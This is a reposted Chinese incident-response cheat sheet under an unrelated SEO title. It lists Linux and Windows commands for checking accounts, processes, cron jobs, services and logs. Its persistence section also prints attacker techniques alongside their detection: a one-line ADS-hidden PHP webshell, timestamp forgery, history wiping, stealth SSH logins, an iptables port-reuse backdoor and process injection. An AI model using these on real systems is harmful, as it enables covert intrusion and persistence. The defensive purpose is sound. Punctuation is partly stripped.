php源码织梦网站需要优化
php源码,织梦网站需要优化,合肥百度关键词排名,h5和手机网站应急响应的基本思路
a. 收集信息#xff1a;收集告警信息、客户反馈信息、设备主机信息等 b. 判断类型#xff1a;安全事件类型判断。#xff08;钓鱼邮件、Webshll、爆破、中毒等#xff09; c. 控制范围#xff1a;隔离失陷设备 d. 分析研判#xff1a;根据收集回来的…应急响应的基本思路
a. 收集信息收集告警信息、客户反馈信息、设备主机信息等 b. 判断类型安全事件类型判断。钓鱼邮件、Webshll、爆破、中毒等 c. 控制范围隔离失陷设备 d. 分析研判根据收集回来的信息进行分析e. 处置根据事件类型进行处置进程、文件、邮件、启动项、注册表排查等 f. 输出报告
应急响应常用命令
1linux下常用命令
1.1查看用户信息
/etc/passwd 查看用户信息文件/etc/shadow 查看影子文件awk -F: $30{print $1} /etc/passwd 查看系统是否还存在其他的特权账户uid为0默认系统只存在root一个特权账户who 查看当前登录用户tty 本地登陆 pts 远程登录w 查看系统信息想知道某一时刻用户的行为uptime 查看登陆多久、多少用户负载passwd -d username 删除用户密码stat /etc/passwd #查看密码文件上一次修改的时间如果最近被修改过那就可能存在问题。cat /etc/passwd | grep -v nologin #查看除了不可登录以外的用户都有哪些有没有新增的cat /etc/passwd | grep x:0 #查看哪些用户为root权限有没有新增的cat /etc/passwd | grep /bin/bash #查看哪些用户使用shell查询可以远程登录的账号awk ‘/\$1|\$6/{print $1}’ /etc/shadow查询具有sudo权限的账号more /etc/sudoers | grep -v “^#\|^$” grep “ALL(ALL)”
1.2.历史命令
很多的服务器会有存在多用户登陆情况登陆root用户可查看其他用户的相关账户登录信息,.bash_history保存了用户的登陆所操作的命令信息home/root/.bash_historyhistory查看历史命令cat .bash_history history.txt 保存历史命令
1.3.查看端口 netstat –antp #查看对应链接的文件路径ls -l /proc/pid/exe ls -l /proc/*/exe | grep xxx #如果我们知道恶意程序的启动文件大致位置可以使用这个发现无文件的恶意进程netstat -antlp | grep 172.16.222.198 | awk {print $7} | cut -f1 -d/ 通过可疑的ip地址获取程序pid 1.4.查看进程 ps -aux #查看相关pid对应程序
ps –aux | grep pid #监控某一应用线程数如ssh
ps -eLf | grep ssh| wc –l #监控网络客户连接数
netstat -n | grep tcp | grep 侦听端口 | wc -l
ps aux --sortpcpu | head -10 #查看cpu占用率前十的进程有时候可以发现 1.5.开机启动项 启动项文件 more /etc/rc.local/etc/rc.d/rc[0~6].dls -l /etc/rc.d/rc3.d/ 1.6.定时任务 crontab -l #编辑定时任务
crontab –e/crontab -u root –l #查看root用户任务计划
ls /var/spool/cron/ #查看每个用户自己的执行计划
#删除计划任务且控制计划任务不能写东西sed /gcc.sh/d /etc/crontab chmod 0000 /etc/crontab chattr i /etc/crontab常见的定时任务文件/var/spool/cron/* #centos的/var/spool/cron/crontabs/* #ubuntu的/var/spool/anacron/*/etc/crontab/etc/anacrontab/etc/cron.hourly/*/etc/cron.daily/*/etc/cron.weekly//etc/cron.monthly/* 1.7.服务 chkconfig #查看开机启动项目chkconfig --list systemctl list-unit-files |grep enabled#查看服务自启状态 1.8.查找文件 find /home1 -name *.php ! -name index.php #find查找指定的文件find查看最近一天修改的文件: find / -mtime -1 /etc/aa.txt#(查看修改的文件并保存到aa的txt文档)find . -name .svn | xargs rm –rf #查找并删除find / -size 10000k -print#查找大于10000k的文件md5sum -b filename#查看文件的md5值 1.9.top命令 top命令是Linux下常用的性能分析工具能够实时显示系统中各个进程的资源占用状况类似于Windows的任务管理器。默认top是根据cpu的占用情况进行排序的可通过按“b”键进行切换可切换到按照内存使用情况进行排序top -p pid #监控指定进程free #查看当前系统内存使用情况top -b -n1 | head 1.10.host文件 有一些挖矿程序会修改 /etc/hosts文件 1.11.日志分析 默认日志位置var/log 1、定位有多少IP在爆破主机的root帐号 grep Failed password for root /var/log/secure | awk {print $11} | sort | uniq -c | sort -nr | more 定位有哪些IP在爆破 grep Failed password /var/log/secure|grep -E -o (25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)|uniq -c 爆破用户名字典是什么 grep Failed password /var/log/secure|perl -e while($_){ /for(.*?) from/; print $1\n;}|uniq -c|sort -nr 2、登录成功的IP有哪些 grep Accepted /var/log/secure | awk {print $11} | sort | uniq -c | sort -nr | more 登录成功的日期、用户名、IP grep Accepted /var/log/secure | awk {print $1,$2,$3,$9,$11} Linux中的命令Diff,可以查看两个文本文件的差异。 1.12.查看命令状态 很多情况下存在ps、netstat等一些常见命令被替换可利用stat查看该状态查看其修改时间 stat /bin/netstat 1.13.文件清除 很多时候会遇到无法查看文件权限或是病毒在一直向某个文件写入程序可尝试如下命令 lsattr [恶意文件绝对路径]命令查看权限 使用chattr -i [恶意文件绝对路径]解除文件锁定后删除。 chmod 0000 /lib/libudev.so rm -rf /lib/libudev.so chattr i /lib/chattr i不让lib文件被写入删除 结束某一进程 Kill -9 pid 2.windows下常用命令 2.1账号安全 query user 查看当前登录账户 logoff ID 注销用户id net user 查看用户 net user username 查看用户登录情况 lusrmgr.msc 打开本地用户组 regedit注册表查看账户确认系统是否存在隐藏账户 利用LogParser.exe查看event日志查询用户登录情况 LogParser.exe -i:EVT SELECT TimeGenerated,EXTRACT_TOKEN(Strings,5,|) AS USERNAME,EXTRACT_TOKEN(Strings,5,|) AS SERVICE_NAME,EXTRACT_TOKEN(Strings,5,|) AS Client_IP FROM C:\Users\haha\Desktop\Security.evtx WHERE EventID4624 LogParser.exe日志分析工具更多用法可参考 https://wooyun.js.org/drops/windows安全日志分析之logparser篇.html 2.2检查异常端口进程 查看目前连接 netstat -ano 一般是查看已经成功建立的连接 netstat -ano | findstr ESTABLISHED 根据pid定位程序名称 tasklist | findstr pid 运行中输入msinfo32可打开系统信息在“正在运行任务”中可获取进程详细信息包括进程的开始时间、版本、大小等信息。 根据端口查看pid netstat -ano | findstr 8080 利用wmic查看进程执行时的命令 Wmic process where nameirefox.exe get name,Caption,executablepath,CommandLine ,processid,ParentProcessId /value Wmic process where processid2040 get name,Caption,executablepath,CommandLine ,processid,ParentProcessId /value 2.3启动项检查 msconfig查看系统启动项 查看注册表是否有异常启动项 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce 2.4查看系统定时任务 Cmd下运行schtaskswin7系统利用at查看定时任务 C:\Windows\System32\Tasks 查看任务清单 删除任务计划 建议删除任务计划时以管理员登录 SchTasks /Delete /TN 任务计划名称 2.5查看系统服务 Services.msc 删除服务可从任务管理器中手动删除也可使用命令 sc stop [服务名称]停止服务后 sc delete [服务名称]删除服务 2.6文件查看 查看最近打开的文件运行窗口中输入“%UserProfile%\Recent” 被拿shell了如何处理 基于PDCERF模型将应急响应分成6个阶段工作准备(Preparation)、检测(Detection)、抑制(Containment)、根除(Eradication)、恢复(Recovery)、跟踪(Follow-up)。 1.Prepare(准备)分析资产的风险、组建管理 人员团队、风险加固、保障资源储备、技术支持资源库 2.Detection(检测)日常运维监控、事件判断、事件上报包括防火墙、系统、web服务器、IDS/WAF/SIEM中的日志不正常或者是执行了越权操作的用户甚至还有管理员的报告 3.Containment(抑制)抑制阶段的主要任务是限制事件扩散和影响的范围。抑制举措往往会对合法业务流量造成影响最有效的抑制方式是尽可能地靠近攻击的发起端实施抑制 4.Eradication(根除):根除阶段的主要任务是通过事件分析查明事件危害的方式并且给出清除危害的解决方案。 对事件的确认仅是初步的事件分析过程。事件分析的目的是找出问题出现的根本原因。在事件分析的过程中主要有主动和被动2种方式。主动方式是采用攻击诱骗技术通过让攻击方去侵入一个受监视存在漏洞的系统直接观察到攻击方所采用的攻击方法。被动方式是根据系统的异常现象去追查问题的根本原因。 5.Recover(恢复)主要任务是把被破坏的信息彻底地还原到正常运作状态。确定使系统恢复正常的需求和时间表、从可信的备份介质中恢复用户数据、打开系统和应用服务、恢复系统网络连接、验证恢复系统、观察其他的扫描、探测等可能表示入侵者再次侵袭的信号。 6.Follow-Up跟踪主要任务是回顾并整合应急响应过程的相关信息进行事后分析总结、修订安全计划、政策、程序并进行训练以防止再次入侵基于入侵的严重性和影响确定是否进行新的风险分析、给系统和网络资产制定一个新的目录清单、如果需要参与调查和起诉。这一阶段的工作对于准备阶段工作的开展起到重要的支持作用。应急响应报告、应急事件调查、应急响应总结 入侵排查 检查帐号 # 禁用或删除多余及可疑的帐号
usermod -L user # 禁用帐号帐号无法登录/etc/shadow 第二栏为 ! 开头
userdel user # 删除 user 用户
userdel -r user # 将删除 user 用户并且将 /home 目录下的 user 目录一并删除 历史命令 # 历史命令
history
# 进入用户目录下导出历史命令
cat .bash_history history.txt 检查异常端口 # 使用 netstat 网络连接命令分析可疑端口、IP、PID
netstat -antlp | more
# 查看下 pid 所对应的进程文件路径
ls -l /proc/$PID/exe 或 file /proc/$PID/exe$PID 为对应的 pid 号 检查异常进程 # 使用 ps 命令分析进程
ps aux | grep pid
ps -ef | grep pname 检查开机启动项 # 查看运行级别命令
runlevel
# 系统默认允许级别
vi /etc/inittab
id3initdefault #系统开机后直接进入哪个运行级别
# 开机启动配置文件
/etc/rc.local
/etc/rc.d/rc[0~6].d 检查定时任务 # 利用 crontab 创建计划任务
# 基本命令
crontab -l # 列出某个用户cron服务的详细内容
crontab -r # 删除每个用户cront任务(谨慎删除所有的计划任务)
crontab -e # 使用编辑器编辑当前的crontab文件 检查服务 # 服务自启动
# 第一种修改方法
chkconfig [--level 运行级别] [独立服务名] [on|off]
chkconfig –level 2345 httpd on # 开启自启动
chkconfig httpd on # 默认 level 是2345
# 第二种修改方法
# 修改 /etc/re.d/rc.local 文件
# 加入 /etc/init.d/httpd start
# 第三种修改方法
# 使用 ntsysv 命令管理自启动可以管理独立服务和 xinetd 服务。 检查异常文件 # 查看敏感目录如 /tmp 目录下的文件同时注意隐藏文件夹以“..”为名的文件夹具有隐藏属性
# 得到发现 WEBSHELL、远控木马的创建时间如何找出同一时间范围内创建的文件
# 可以使用 find 命令来查找如 find /opt -iname * -atime 1 -type f 找出 /opt 下一天前访问过的文件
# 针对可疑文件可以使用 stat 进行创建修改时间。 检查系统日志 # 日志默认存放 日志分析 Linux日志分析 1. 日志简介 日志默认存放位置/var/log/ 查看日志配置情况more /etc/rsyslog.conf 比较重要的几个日志 登录失败记录/var/log/btmp (lastb)
最后一次登录/var/log/lastlog (lastlog)
登录成功记录: /var/log/wtmp (last)
登录日志记录/var/log/secure
目前登录用户信息/var/run/utmp (w, who, users) 历史命令记录history 仅清理当前用户history -c 日志文件 说明 /var/log/cron 记录了系统定时任务相关的日志 /var/log/cups 记录打印信息的日志 /var/log/dmesg 记录了系统在开机时内核自检的信息也可以使用 dmesg 命令直接查看内核自检信息 /var/log/mailog 记录邮件信息 /var/log/message 记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息如果系统出现问题时首先要检查的就应该是这个日志文件 /var/log/btmp 记录错误登录日志这个文件是二进制文件不能直接 vi 查看而要使用 lastb 命令查看 /var/log/lastlog 记录系统中所有用户最后一次登录时间的日志这个文件是二进制文件不能直接 vi而要使用 lastlog 命令查看 /var/log/wtmp 永久记录所有用户的登录、注销信息同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件不能直接 vi而需要使用 last 命令来查看 /var/log/utmp 记录当前已经登录的用户信息这个文件会随着用户的登录和注销不断变化只记录当前登录用户的信息。同样这个文件不能直接 vi而要使用 w, who, users 等命令来查询 /var/log/secure 记录验证和授权方面的信息只要涉及账号和密码的程序都会记录比如 SSH 登录su 切换用户sudo 授权甚至添加用户和修改用户密码都会记录在这个日志文件中 2. 日志分析技巧 /var/log/secure 定位有多少 IP 在爆破主机的 root 帐号
grep Failed password for root /var/log/secure | awk {print $11} | sort | uniq -c | sort -nr | more 定位有哪些 IP 在爆破
grep Failed password /var/log/secure|grep -E -o (25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?\\[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\\.[0-9]|uniq -c 爆破用户名字典是什么
grep Failed password /var/log/secure|perl -e while($_){ /for(.*?) from/; print $1\\n;}|uniq -c|sort -nr 登录成功的 IP 有哪些
grep Accepted /var/log/secure | awk {print $11} | sort | uniq -c | sort -nr | more 登录成功的日期、用户名、IP
grep Accepted /var/log/secure | awk {print $1,$2,$3,$9,$11} 增加一个用户 kali 日志
Jul 10 00:12:15 localhost useradd[2382]: new group: namekali, GID1001
Jul 10 00:12:15 localhost useradd[2382]: new user: namekali, UID1001, GID1001, home/home/kali, shell/bin/bash
Jul 10 00:12:58 localhost passwd: pam_unix(passwd:chauthtok): password changed for kali grep useradd /var/log/secure 删除用户 kali 日志
Jul 10 00:14:17 localhost userdel[2393]: delete user kali
Jul 10 00:14:17 localhost userdel[2393]: removed group kali owned by kali
Jul 10 00:14:17 localhost userdel[2393]: removed shadow group kali owned by kali grep userdel /var/log/secure su 切换用户
Jul 10 00:38:13 localhost su: pam_unix(su-l:session): session opened for user good by root(uid0) sudo 授权执行
sudo -l
Jul 10 00:43:09 localhost sudo: good : TTYpts/4 ; PWD/home/good ; USERroot ; COMMAND/sbin/shutdown -r now /var/log/yum.log 软件安装升级卸载日志 yum install gcc
[rootbogon ~]# more /var/log/yum.log
Jul 10 00:18:23 Updated: cpp-4.8.5-28.el7_5.1.x86_64
Jul 10 00:18:24 Updated: libgcc-4.8.5-28.el7_5.1.x86_64
Jul 10 00:18:24 Updated: libgomp-4.8.5-28.el7_5.1.x86_64
Jul 10 00:18:28 Updated: gcc-4.8.5-28.el7_5.1.x86_64
Jul 10 00:18:28 Updated: libgcc-4.8.5-28.el7_5.1.i686 windows日志分析 Windows事件日志简介 Windows系统日志是记录系统中硬件、软件和系统问题的信息同时还可以监视系统中发生的事件。用户可以通过它来检查错误发生的原因或者寻找受到攻击时攻击者留下的痕迹。
系统和应用程序日志存储着故障排除信息对于系统管理员更为有用。安全日志记录着事件审计信息包括用户验证登录、远程访问等和特定用户在认证后对系统做了什么对于调查人员而言更有帮助。 Windows事件日志说明 Windows主要有以下三类日志记录系统事件应用程序日志、系统日志和安全日志。
系统日志记录操作系统组件产生的事件主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。默认位置
%SystemRoot%\\System32\\Winevt\\Logs\\System.evtx 应用程序日志包含由应用程序或系统程序记录的事件主要记录程序运行方面的事件例如数据库程序可以在应用程序日志中记录文件错误程序开发人员可以自行决定监视哪些事件。默认位置
%SystemRoot%\\System32\\Winevt\\Logs\\Application.evtx 安全日志记录系统的安全审计事件包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件。安全日志也是调查取证中最常用到的日志。默认设置下安全性日志是关闭的管理员可以使用组策略来启动安全性日志或者在注册表中设置审核策略以便当安全性日志满后使系统停止响应。默认位置
%SystemRoot%\\System32\\Winevt\\Logs\\Security.evtx Windows事件ID说明 4624 登录成功
4625 登录失败
4634 注销成功
4647 用户启动的注销
4672 使用超级用户如管理员进行登录
4720 创建用户 Log Parser日志分析 软件说明 Log Parser是微软公司出品的日志分析工具它功能强大使用简单可以分析基于文本的日志文件、XML文件、CSV逗号分隔符文件以及操作系统的事件日志、注册表、文件系统、Active Directory。它可以像使用SQL语句一样查询分析这些数据甚至可以把分析结果以各种图表的形式展现出来。
下载地址https://www.microsoft.com/en-us/download/details.aspx?id24659 Log Parser日志分析 基本查询结构
Logparser.exe –i:EVT –o:DATAGRID SELECT * FROM c:\\xx.evtx 使用Log Parser分析日志 登录成功的所有事件
LogParser.exe -i:EVT –o:DATAGRID SELECT * FROM c:\\Security.evtx where EventID4624 指定登录时间范围的事件
LogParser.exe -i:EVT –o:DATAGRID SELECT * FROM c:\\Security.evtx where TimeGenerated2018-06-19 23:32:11 and TimeGenerated2018-06-20 23:34:00 and EventID4624 提取登录成功的用户名和IP
LogParser.exe -i:EVT –o:DATAGRID SELECT EXTRACT_TOKEN(Message,13, ) as EventType,TimeGenerated as LoginTime,EXTRACT_TOKEN(Strings,5,|) as Username,EXTRACT_TOKEN(Message,38, ) as Loginip FROM c:\\Security.evtx where EventID4624 登录失败的所有事件
LogParser.exe -i:EVT –o:DATAGRID SELECT * FROM c:\\Security.evtx where EventID4625 提取登录失败用户名进行聚合统计
LogParser.exe -i:EVT SELECT EXTRACT_TOKEN(Message,13, ) as EventType,EXTRACT_TOKEN(Message,19, ) as user,count(EXTRACT_TOKEN(Message,19, )) as Times,EXTRACT_TOKEN(Message,39, ) as Loginip FROM c:\\Security.evtx where EventID4625 GROUP BY Message 系统历史开关机记录
LogParser.exe -i:EVT –o:DATAGRID SELECT TimeGenerated,EventID,Message FROM c:\\System.evtx where EventID6005 or EventID6006 其他日志分析工具介绍 LogParser Lizard对于GUI环境的Log Parser Lizard其特点是比较易于使用甚至不需要记忆繁琐的命令只需要做好设置写好基本的SQL语句就可以直观的得到结果。 下载地址Log Parser GUI. Analyze log files with SQL
Event Log ExplorerEvent Log Explorer是一款非常好用的Windows日志分析工具。可用于查看监视和分析跟事件记录包括安全系统应用程序和其他微软Windows的记录被记载的事件其强大的过滤功能可以快速的过滤出有价值的信息。 下载地址Event Log Explorer - Download
权限维持破除隐藏以及后门清除 Linux权限维持破除隐藏以及后门清除 1. 隐藏文件 隐藏Linux下文件名称前面有“.”的就是隐藏文件使用ls -l看不到隐藏文件。 破除隐藏ls -al 提示一般在/tmp下默认存在多个隐藏目录这些目录是恶意文件常用来藏身的地方。如/temp/.ICE-unix/、/temp/.Test-unix/、/temp/.X11-unix/、/temp/.XIM-unix/
2. 隐藏文件时间戳 隐藏
touch -r index.php webshell.php #将index.php的时间戳赋给webshell.php
touch -t 1401021042.30 webshell.php #修改时间戳为2014 年 01 月 02日 破除隐藏
stat webshell.php #查看
ls -al --timectime webshell.php 说明 chmod、chown等修改文件权限、所有者所属组的操作会更新atime和ctime的值。
3. 隐藏权限 隐藏在Linux中使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录此权限用ls -l是查看不出来的从而达到隐藏权限的目的。 这个技巧常被用在后门变成了一些难以清除的后门文件。 破除隐藏
chattr i evil.php #锁定文件
lsattr evil.php #属性查看
chattr -i evil.php #解除锁定
rm -rf 1.evil.php #删除文件 4. 隐藏历史操作命令 隐藏 1.只针对你的工作关闭历史记录[space]set o history 备注[space]表示空格。并且由于空格的缘故该命令本身也不会被记录。 上面的命令会临时禁用历史功能这意味着在这命令之后你执行的所有操作都不会记录到历史中然而这个命令之前的所有东西都会原样记录在历史列表中。 2.从历史记录中删除指定的命令history | grep “keyword“上述命令执行后会输出历史记录中匹配的命令每一条前面会有个数字。从历史记录中删除那个指定的项history -d [num] 只保留前150行sed -i 150,$d .bash_history 破除隐藏 提前备份.bash_history文件 重新开启历史功能执行下面的命令[Space]set -o history 它将环境恢复原状也就是你完成了你的工作执行上述命令之后的命令都会出现在历史中。
5. 隐藏远程SSH登陆记录 隐身登录系统不会被w、who、last等指令检测到。ssh -T root127.0.0.1 /bin/bash –i 不记录ssh公钥在本地.ssh目录中ssh -o UserKnownHostsFile/dev/null -T userhost /bin/bash –i
6. 端口复用 利用IPTables进行端口复用
# 端口复用链
iptables -t nat -N LETMEIN
# 端口复用规则
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
# 开启开关
iptables -A INPUT -p tcp -m string --string threathuntercoming --algo bm -m recent --set -name letmein --rsource -j ACCEPT
# 关闭开关
iptables -A INPUT -p tcp -m string --string threathunterleaving --algo bm -m recent --name letmein --remove -j ACCEPT
# lets do it
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 -name letmein --rsource -j LETMEIN 检测Netstat查看监听端口
7. 进程隐藏 说明管理员无法通过相关命令工具查找到你运行的进程从而达到隐藏目的实现进程隐藏。 利用办法进程注入工具linux-injectgithub项目地址 https://github.com/gaffe23/linux-inject.git
# 下载程序编译
git clone https://github.com/gaffe23/linux-inject.git
cd linux-inject make
# 测试进程
./sample-target
# 进程注入
./inject -n sample-target sample-library.so 破除隐藏unhide是一个小巧的网络取证工具能够发现那些借助rootkit、LKM及其它技术隐藏的进程和TCP / UDP端口。这个工具在LinuxUNIX类MS-Windows等操作系统下都可以工作。 下载地址Unhide homepage - Welcome
# 安装
sudo yum install unhide
# 使用
unhide [options] test_list 使用unhide proc发现隐藏进程evil_script.py
Windows权限维持破除隐藏以及后门清除 后门 攻击者在获取服务器权限后通常会用一些后门来维持权限。如果想让后门保持得更久些就需要隐藏好它使之不易被管理员发现。 常见的后门维持方式包括
利用文件属性利用ADS隐藏文件内容驱动级文件隐藏隐藏账号端口复用进程注入
利用文件属性
隐藏
最简单的一种隐藏文件的方式是右键点击文件选择属性勾选“隐藏”选项然后点击确定。这样文件就被隐藏了。
破除隐藏
点击查看勾选显示隐藏的文件文件就会显示出来。
高级隐藏
使用Attrib s a h r命令是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。
attrib s a h r D:\\test\\project\\test.txt
破除高级破除隐藏
打开电脑文件夹选项卡取消”隐藏受保护的操作系统文件“勾选把”隐藏文件和文件夹“下面的单选选择“显示隐藏的文件、文件夹和驱动器”。
利用ADS隐藏文件内容
隐藏
在服务器上echo一个数据流文件进去比如index.php是网页正常文件我们可以这样搞
echo ^?php eval($_POST[chopper]);?^ index.php:hidden.jpg
这样子就生成了一个不可见的shell hidden.jpg常规的文件管理器、type命令dir命令、del命令发现都找不出那个hidden.jpg。
查看
dir /r
破除隐藏
删除index.php:hidden.jpg即可。
驱动级文件隐藏
隐藏
驱动隐藏可以用一些软件来实现软件名字叫Easy File Locker。
破除隐藏
确认是否隐藏。如果网站目录未查找到相关文件且系统目录存在以下文件
c:\WINDOWS\xlkfs.datc:\WINDOWS\xlkfs.dllc:\WINDOWS\xlkfs.inic:\WINDOWS\system32\drivers\xlkfs.sys
那么应该是遭遇了驱动级文件隐藏。
实施清除
1.查询服务状态
sc qc xlkfs
1.停止服务
net stop xlkfs
服务停止后经驱动级隐藏的文件即可显现。
1.删除服务
sc delete xlkfs
1.删除系统目录下面的文件重启系统确认服务已经被清理了。
隐藏账号
隐藏
可以使用CMD命令行下建立一个用户名为“test$”密码为“abc123!”的简单隐藏账户并且把该隐藏账户提升为管理员权限。
破除隐藏
使用D盾_web查杀工具使用克隆账号检测功能进行查看可检测出隐藏、克隆账号。
端口复用
隐藏
可以使用WinRM服务或者其他的工具实现端口复用。
破除隐藏
复用时会在安全日志中留下痕迹。
进程注入
隐藏
进程注入是病毒木马的惯用手段同时它也是一种隐藏技术。
破除隐藏
通过TCPview显示已建立的TCP连接我们可以看到异常的连接同时恶意软件将以绿色显示不到一秒钟然后变成红色消失如此循环。利用process monitor捕捉通信过程有规律的请求取决于sleep设置的间隔。利用process monitor或者火绒剑监控进程都可以定位到注入进程。
命令
如果需要在Windows命令行窗口中执行以下命令可以把命令放在三个反引号之间的代码块中或者使用“cmd”标记。比如
echo hello
注意事项
隐藏文件的方式还有很多比如伪装成一个系统文件夹图标利用畸形文件名、保留文件名无法删除甚至取一个与系统文件很像的文件名并放在正常目录里面很难辨别出来。这些隐藏文件的方式早已不再是秘密而更多的恶意程序开始实现“无文件”攻击这种方式极难被发现。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/88336.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!